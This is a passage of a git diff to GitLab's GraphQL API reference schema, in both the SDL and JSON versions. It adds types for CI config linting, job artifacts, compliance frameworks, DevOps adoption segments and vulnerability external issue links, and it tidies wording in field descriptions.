DiffNoteID! @@ -20172,6 +21569,7 @@ enum ServiceType { CAMPFIRE_SERVICE CONFLUENCE_SERVICE CUSTOM_ISSUE_TRACKER_SERVICE + DATADOG_SERVICE DISCORD_SERVICE DRONE_CI_SERVICE EMAILS_ON_PUSH_SERVICE @@ -20211,9 +21609,9 @@ type Snippet implements Noteable { author: User """ - Snippet blob. Deprecated in 13.3: Use `blobs` + Snippet blob Deprecated in 13.3: Use `blobs`. """ - blob: SnippetBlob! @deprecated(reason: "Use `blobs`. Deprecated in 13.3") + blob: SnippetBlob! @deprecated(reason: "Use `blobs`. Deprecated in 13.3.") """ Snippet blobs @@ -20720,22 +22118,22 @@ enum Sort { """ Created at ascending order """ - created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5") + created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.") """ Created at descending order """ - created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5") + created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.") """ Updated at ascending order """ - updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5") + updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.") """ Updated at descending order """ - updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5") + updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.") } type StatusAction { @@ -21041,6 +22439,11 @@ type TerraformStateVersion { createdByUser: User """ + URL for downloading the version's JSON file + """ + downloadPath: String + + """ ID of the Terraform state version """ id: ID! @@ -21051,6 +22454,11 @@ type TerraformStateVersion { job: CiJob """ + Serial number of the version + """ + serial: Int + + """ Timestamp the version was updated """ updatedAt: Time! @@ -21488,7 +22896,7 @@ input TodoMarkDoneInput { clientMutationId: String """ - The global id of the todo to mark as done + The global ID of the todo to mark as done """ id: TodoID! } @@ -21523,7 +22931,7 @@ input TodoRestoreInput { clientMutationId: String """ - The global id of the todo to restore + The global ID of the todo to restore """ id: TodoID! } @@ -21538,7 +22946,7 @@ input TodoRestoreManyInput { clientMutationId: String """ - The global ids of the todos to restore (a maximum of 50 is supported at once) + The global IDs of the todos to restore (a maximum of 50 is supported at once) """ ids: [TodoID!]! } @@ -21563,9 +22971,9 @@ type TodoRestoreManyPayload { todos: [Todo!]! """ - The ids of the updated todo items. Deprecated in 13.2: Use todos + The IDs of the updated todo items Deprecated in 13.2: Use todos. """ - updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2") + updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2.") } """ @@ -21660,9 +23068,9 @@ type TodosMarkAllDonePayload { todos: [Todo!]! """ - Ids of the updated todos. Deprecated in 13.2: Use todos + Ids of the updated todos Deprecated in 13.2: Use todos. """ - updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2") + updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2.") } """ @@ -21670,7 +23078,7 @@ Autogenerated input type of ToggleAwardEmoji """ input ToggleAwardEmojiInput { """ - The global id of the awardable resource + The global ID of the awardable resource """ awardableId: AwardableID! @@ -21892,7 +23300,7 @@ input UpdateAlertStatusInput { clientMutationId: String """ - The iid of the alert to mutate + The IID of the alert to mutate """ iid: String! @@ -21987,54 +23395,29 @@ Autogenerated input type of UpdateBoard """ input UpdateBoardInput { """ - The id of user to be assigned to the board. - """ - assigneeId: UserID - - """ A unique identifier for the client performing the mutation. """ clientMutationId: String """ - Whether or not backlog list is hidden. + Whether or not backlog list is hidden """ hideBacklogList: Boolean """ - Whether or not closed list is hidden. + Whether or not closed list is hidden """ hideClosedList: Boolean """ - The board global id. + The board global ID. """ id: BoardID! """ - The IDs of labels to be added to the board. - """ - labelIds: [LabelID!] - - """ - Labels of the issue - """ - labels: [String!] - - """ - The id of milestone to be assigned to the board. - """ - milestoneId: MilestoneID - - """ - Name of the board + The board name. """ name: String - - """ - The weight value to be assigned to the board. - """ - weight: Int } """ @@ -22103,6 +23486,56 @@ type UpdateBoardPayload { } """ +Autogenerated input type of UpdateComplianceFramework +""" +input UpdateComplianceFrameworkInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + New color representation of the compliance framework in hex format. e.g. #FCA121 + """ + color: String + + """ + New description for the compliance framework + """ + description: String + + """ + The global ID of the compliance framework to update + """ + id: ComplianceManagementFrameworkID! + + """ + New name for the compliance framework + """ + name: String +} + +""" +Autogenerated return type of UpdateComplianceFramework +""" +type UpdateComplianceFrameworkPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The compliance framework after mutation + """ + complianceFramework: ComplianceFramework + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" Autogenerated input type of UpdateContainerExpirationPolicy """ input UpdateContainerExpirationPolicyInput { @@ -22167,6 +23600,51 @@ type UpdateContainerExpirationPolicyPayload { errors: [String!]! } +""" +Autogenerated input type of UpdateDevopsAdoptionSegment +""" +input UpdateDevopsAdoptionSegmentInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The array of group IDs to set for the segment + """ + groupIds: [GroupID!] + + """ + ID of the segment + """ + id: AnalyticsDevopsAdoptionSegmentID! + + """ + Name of the segment + """ + name: String! +} + +""" +Autogenerated return type of UpdateDevopsAdoptionSegment +""" +type UpdateDevopsAdoptionSegmentPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The segment after mutation + """ + segment: DevopsAdoptionSegment +} + input UpdateDiffImagePositionInput { """ Total height of the image @@ -22229,7 +23707,7 @@ input UpdateEpicInput { groupPath: ID! """ - The iid of the epic to mutate + The IID of the epic to mutate """ iid: ID! @@ -22294,7 +23772,7 @@ input UpdateImageDiffNoteInput { clientMutationId: String """ - The global id of the note to update + The global ID of the note to update """ id: NoteID! @@ -22434,32 +23912,32 @@ input UpdateIterationInput { clientMutationId: String """ - The description of the iteration + Description of the iteration. """ description: String """ - The end date of the iteration + End date of the iteration. """ dueDate: String """ - The group of the iteration + Group of the iteration. """ groupPath: ID! """ - The id of the iteration + Global ID of the iteration. """ id: ID! """ - The start date of the iteration + Start date of the iteration. """ startDate: String """ - The title of the iteration + Title of the iteration. """ title: String } @@ -22479,7 +23957,7 @@ type UpdateIterationPayload { errors: [String!]! """ - The updated iteration + Updated iteration. """ iteration: Iteration } @@ -22504,7 +23982,7 @@ input UpdateNoteInput { confidential: Boolean """ - The global id of the note to update + The global ID of the note to update """ id: NoteID! } @@ -22544,7 +24022,7 @@ input UpdateRequirementInput { description: String """ - The iid of the requirement to update + The IID of the requirement to update """ iid: String! @@ -22609,7 +24087,7 @@ input UpdateSnippetInput { description: String """ - The global id of the snippet to update + The global ID of the snippet to update """ id: SnippetID! @@ -22717,6 +24195,11 @@ type User { projectPath: String """ + Username of the reviewer + """ + reviewerUsername: String + + """ Sort merge requests by this criteria """ sort: MergeRequestSort = created_desc @@ -22802,6 +24285,11 @@ type User { projectPath: String """ + Username of the reviewer + """ + reviewerUsername: String + + """ Sort merge requests by this criteria """ sort: MergeRequestSort = created_desc @@ -22828,12 +24316,12 @@ type User { avatarUrl: String """ - User email + User email Deprecated in 13.7: Use public_email. """ - email: String + email: String @deprecated(reason: "Use public_email. Deprecated in 13.7.") """ - Group count for the user. Available only when feature flag `user_group_counts` is enabled + Group count for the user Available only when feature flag `user_group_counts` is enabled. """ groupCount: Int @@ -22868,6 +24356,11 @@ type User { id: ID! """ + The location of the user. + """ + location: String + + """ Human-readable name of the user """ name: String! @@ -22898,6 +24391,101 @@ type User { ): ProjectMemberConnection """ + User's public email + """ + publicEmail: String + + """ + Merge Requests assigned to the user for review + """ + reviewRequestedMergeRequests( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Username of the assignee + """ + assigneeUsername: String + + """ + Username of the author + """ + authorUsername: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Array of IIDs of merge requests, for example `[1, 2]` + """ + iids: [String!] + + """ + Array of label names. All resolved merge requests will have all of these labels. + """ + labels: [String!] + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Merge requests merged after this date + """ + mergedAfter: Time + + """ + Merge requests merged before this date + """ + mergedBefore: Time + + """ + Title of the milestone + """ + milestoneTitle: String + + """ + The global ID of the project the authored merge requests should be in. Incompatible with projectPath. + """ + projectId: ProjectID + + """ + The full-path of the project the authored merge requests should be in. Incompatible with projectId. + """ + projectPath: String + + """ + Sort merge requests by this criteria + """ + sort: MergeRequestSort = created_desc + + """ + Array of source branch names. All resolved merge requests will have one of these branches as their source. + """ + sourceBranches: [String!] + + """ + A merge request state. If provided, all resolved merge requests will have this state. + """ + state: MergeRequestState + + """ + Array of target branch names. All resolved merge requests will have one of these branches as their target. + """ + targetBranches: [String!] + ): MergeRequestConnection + + """ Snippets authored by the user """ snippets( @@ -23290,10 +24878,20 @@ type VulnerabilitiesCountByDayEdge { } """ +Identifier of Vulnerabilities::ExternalIssueLink +""" +scalar VulnerabilitiesExternalIssueLinkID + +""" Represents a vulnerability """ type Vulnerability implements Noteable { """ + Timestamp of when the vulnerability state was changed to confirmed + """ + confirmedAt: Time + + """ Description of the vulnerability """ description: String @@ -23329,6 +24927,41 @@ type Vulnerability implements Noteable { ): DiscussionConnection! """ + Timestamp of when the vulnerability state was changed to dismissed + """ + dismissedAt: Time + + """ + List of external issue links related to the vulnerability + """ + externalIssueLinks( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): VulnerabilityExternalIssueLinkConnection! + + """ + Indicates whether there is a solution available for this vulnerability. + """ + hasSolutions: Boolean + + """ GraphQL ID of the vulnerability """ id: ID! @@ -23374,6 +25007,11 @@ type Vulnerability implements Noteable { location: VulnerabilityLocation """ + Merge request that fixes the vulnerability. + """ + mergeRequest: MergeRequest + + """ All notes on this noteable """ notes( @@ -23416,6 +25054,11 @@ type Vulnerability implements Noteable { reportType: VulnerabilityReportType """ + Timestamp of when the vulnerability state was changed to resolved + """ + resolvedAt: Time + + """ Indicates whether the vulnerability is fixed on the default branch or not """ resolvedOnDefaultBranch: Boolean! @@ -23567,6 +25210,156 @@ type VulnerabilityEdge { } """ +Represents an external issue link of a vulnerability +""" +type VulnerabilityExternalIssueLink { + """ + The external issue attached to the issue link + """ + externalIssue: ExternalIssue + + """ + GraphQL ID of the external issue link + """ + id: VulnerabilitiesExternalIssueLinkID! + + """ + Type of the external issue link + """ + linkType: VulnerabilityExternalIssueLinkType! +} + +""" +The connection type for VulnerabilityExternalIssueLink. +""" +type VulnerabilityExternalIssueLinkConnection { + """ + A list of edges. + """ + edges: [VulnerabilityExternalIssueLinkEdge] + + """ + A list of nodes. + """ + nodes: [VulnerabilityExternalIssueLink] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +Autogenerated input type of VulnerabilityExternalIssueLinkCreate +""" +input VulnerabilityExternalIssueLinkCreateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + External tracker type of the external issue link. + """ + externalTracker: VulnerabilityExternalIssueLinkExternalTracker! + + """ + ID of the vulnerability. + """ + id: VulnerabilityID! + + """ + Type of the external issue link. + """ + linkType: VulnerabilityExternalIssueLinkType! +} + +""" +Autogenerated return type of VulnerabilityExternalIssueLinkCreate +""" +type VulnerabilityExternalIssueLinkCreatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The created external issue link. + """ + externalIssueLink: VulnerabilityExternalIssueLink +} + +""" +Autogenerated input type of VulnerabilityExternalIssueLinkDestroy +""" +input VulnerabilityExternalIssueLinkDestroyInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The global ID of the vulnerability external issue link. + """ + id: VulnerabilitiesExternalIssueLinkID! +} + +""" +Autogenerated return type of VulnerabilityExternalIssueLinkDestroy +""" +type VulnerabilityExternalIssueLinkDestroyPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" +An edge in a connection. +""" +type VulnerabilityExternalIssueLinkEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: VulnerabilityExternalIssueLink +} + +""" +The external tracker of the external issue link related to a vulnerability +""" +enum VulnerabilityExternalIssueLinkExternalTracker { + """ + Jira external tracker + """ + JIRA +} + +""" +The type of the external issue link related to a vulnerability +""" +enum VulnerabilityExternalIssueLinkType { + """ + Created link type + """ + CREATED +} + +""" The grade of the vulnerable project """ enum VulnerabilityGrade { @@ -23835,6 +25628,11 @@ type VulnerabilityPermissions { adminVulnerability: Boolean! """ + Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource + """ + adminVulnerabilityExternalIssueLink: Boolean! + + """ Indicates the user can perform `admin_vulnerability_issue_link` on this resource """ adminVulnerabilityIssueLink: Boolean! diff --git a/doc/api/graphql/reference/gitlab_schema.json b/doc/api/graphql/reference/gitlab_schema.json index de3f9c2665f..4adb92d351e 100644 --- a/doc/api/graphql/reference/gitlab_schema.json +++ b/doc/api/graphql/reference/gitlab_schema.json @@ -105,7 +105,7 @@ "inputFields": [ { "name": "awardableId", - "description": "The global id of the awardable resource", + "description": "The global ID of the awardable resource", "type": { "kind": "NON_NULL", "name": null, @@ -1252,25 +1252,25 @@ "name": "updated_desc", "description": "Updated at descending order", "isDeprecated": true, - "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5" + "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5." }, { "name": "updated_asc", "description": "Updated at ascending order", "isDeprecated": true, - "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5" + "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5." }, { "name": "created_desc", "description": "Created at descending order", "isDeprecated": true, - "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5" + "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5." }, { "name": "created_asc", "description": "Created at ascending order", "isDeprecated": true, - "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5" + "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5." }, { "name": "UPDATED_DESC", @@ -1481,6 +1481,29 @@ "possibleTypes": null }, { + "kind": "ENUM", + "name": "AlertManagementDomainFilter", + "description": "Filters the alerts based on given domain", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "operations", + "description": "Alerts for operations domain ", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "threat_monitoring", + "description": "Alerts for threat monitoring domain", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "AlertManagementHttpIntegration", "description": "An endpoint and credentials used to accept alerts for a project", @@ -2103,7 +2126,7 @@ }, { "name": "iid", - "description": "The iid of the alert to mutate", + "description": "The IID of the alert to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -2279,7 +2302,7 @@ }, { "name": "iid", - "description": "The iid of the alert to mutate", + "description": "The IID of the alert to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -2402,6 +2425,16 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "AnalyticsDevopsAdoptionSegmentID", + "description": "Identifier of Analytics::DevopsAdoption::Segment", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "ENUM", "name": "AvailabilityEnum", "description": "User availability status", @@ -2553,7 +2586,7 @@ "inputFields": [ { "name": "awardableId", - "description": "The global id of the awardable resource", + "description": "The global ID of the awardable resource", "type": { "kind": "NON_NULL", "name": null, @@ -2669,7 +2702,7 @@ "inputFields": [ { "name": "awardableId", - "description": "The global id of the awardable resource", + "description": "The global ID of the awardable resource", "type": { "kind": "NON_NULL", "name": null, @@ -2785,7 +2818,7 @@ "inputFields": [ { "name": "awardableId", - "description": "The global id of the awardable resource", + "description": "The global ID of the awardable resource", "type": { "kind": "NON_NULL", "name": null, @@ -3295,7 +3328,7 @@ "fields": [ { "name": "assignee", - "description": "The board assignee.", + "description": "The board assignee", "args": [ ], @@ -3309,7 +3342,7 @@ }, { "name": "epics", - "description": "Epics associated with board issues.", + "description": "Epics associated with board issues", "args": [ { "name": "issueFilters", @@ -3372,7 +3405,7 @@ }, { "name": "hideBacklogList", - "description": "Whether or not backlog list is hidden.", + "description": "Whether or not backlog list is hidden", "args": [ ], @@ -3386,7 +3419,7 @@ }, { "name": "hideClosedList", - "description": "Whether or not closed list is hidden.", + "description": "Whether or not closed list is hidden", "args": [ ], @@ -3417,6 +3450,20 @@ "deprecationReason": null }, { + "name": "iteration", + "description": "The board iteration.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Iteration", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "labels", "description": "Labels of the board", "args": [ @@ -3544,7 +3591,7 @@ }, { "name": "milestone", - "description": "The board milestone.", + "description": "The board milestone", "args": [ ], @@ -3572,7 +3619,7 @@ }, { "name": "weight", - "description": "Weight of the board.", + "description": "Weight of the board", "args": [ ], @@ -3733,7 +3780,7 @@ "args": [ { "name": "startDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.", "type": { "kind": "SCALAR", "name": "Time", @@ -3743,7 +3790,7 @@ }, { "name": "endDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.", "type": { "kind": "SCALAR", "name": "Time", @@ -3859,7 +3906,7 @@ }, { "name": "iidStartsWith", - "description": "Filter epics by iid for autocomplete", + "description": "Filter epics by IID for autocomplete", "type": { "kind": "SCALAR", "name": "String", @@ -5564,6 +5611,16 @@ "defaultValue": null }, { + "name": "iterationId", + "description": "Global ID of an existing iteration", + "type": { + "kind": "SCALAR", + "name": "IterationID", + "ofType": null + }, + "defaultValue": null + }, + { "name": "assigneeId", "description": "Global ID of an existing user", "type": { @@ -5834,6 +5891,16 @@ }, { "kind": "SCALAR", + "name": "BoardsEpicBoardID", + "description": "Identifier of Boards::EpicBoard", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "SCALAR", "name": "Boolean", "description": "Represents `true` or `false` values.", "fields": null, @@ -5992,6 +6059,330 @@ }, { "kind": "OBJECT", + "name": "CiConfig", + "description": null, + "fields": [ + { + "name": "errors", + "description": "Linting errors", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "mergedYaml", + "description": "Merged CI config YAML", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "stages", + "description": "Stages of the pipeline", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "CiConfigStage", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "status", + "description": "Status of linting, can be either valid or invalid", + "args": [ + + ], + "type": { + "kind": "ENUM", + "name": "CiConfigStatus", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CiConfigGroup", + "description": null, + "fields": [ + { + "name": "jobs", + "description": "Jobs in group", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "CiConfigJob", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the job group", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "size", + "description": "Size of the job group", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CiConfigJob", + "description": null, + "fields": [ + { + "name": "groupName", + "description": "Name of the job group", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the job", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "needs", + "description": "Builds that must complete before the jobs run", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "CiConfigNeed", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "stage", + "description": "Name of the job stage", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CiConfigNeed", + "description": null, + "fields": [ + { + "name": "name", + "description": "Name of the need", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CiConfigStage", + "description": null, + "fields": [ + { + "name": "groups", + "description": "Groups of jobs for the stage", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "CiConfigGroup", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the stage", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "ENUM", + "name": "CiConfigStatus", + "description": "Values for YAML processor result", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "VALID", + "description": "The configuration file is valid", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "INVALID", + "description": "The configuration file is not valid", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "CiGroup", "description": null, "fields": [ @@ -6216,6 +6607,59 @@ "description": null, "fields": [ { + "name": "artifacts", + "description": "Artifacts generated by the job", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "CiJobArtifactConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "detailedStatus", "description": "Detailed status of the job", "args": [ @@ -6303,11 +6747,160 @@ ], "type": { + "kind": "OBJECT", + "name": "Pipeline", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "scheduledAt", + "description": "Schedule for the build", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CiJobArtifact", + "description": null, + "fields": [ + { + "name": "downloadPath", + "description": "URL for downloading the artifact's file", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "fileType", + "description": "File type of the artifact", + "args": [ + + ], + "type": { + "kind": "ENUM", + "name": "JobArtifactFileType", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CiJobArtifactConnection", + "description": "The connection type for CiJobArtifact.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "CiJobArtifactEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "CiJobArtifact", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "OBJECT", - "name": "Pipeline", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CiJobArtifactEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", "ofType": null } }, @@ -6315,14 +6908,14 @@ "deprecationReason": null }, { - "name": "scheduledAt", - "description": "Schedule for the build", + "name": "node", + "description": "The item at the end of the edge.", "args": [ ], "type": { - "kind": "SCALAR", - "name": "Time", + "kind": "OBJECT", + "name": "CiJobArtifact", "ofType": null }, "isDeprecated": false, @@ -6897,7 +7490,7 @@ "inputFields": [ { "name": "id", - "description": "Global id of the cluster agent that will be deleted", + "description": "Global ID of the cluster agent that will be deleted", "type": { "kind": "NON_NULL", "name": null, @@ -7908,6 +8501,24 @@ "deprecationReason": null }, { + "name": "shortId", + "description": "Short SHA1 ID of the commit", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "signatureHtml", "description": "Rendered HTML of the commit signature", "args": [ @@ -8124,6 +8735,73 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "CommitConnection", + "description": "The connection type for Commit.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "CommitEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "Commit", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "CommitCreateInput", "description": "Autogenerated input type of CommitCreate", @@ -8286,6 +8964,51 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "CommitEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Commit", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "ENUM", "name": "CommitEncoding", "description": null, @@ -8314,6 +9037,60 @@ "description": "Represents a ComplianceFramework associated with a Project", "fields": [ { + "name": "color", + "description": "Hexadecimal representation of compliance framework's label color", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "description", + "description": "Description of the compliance framework", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + 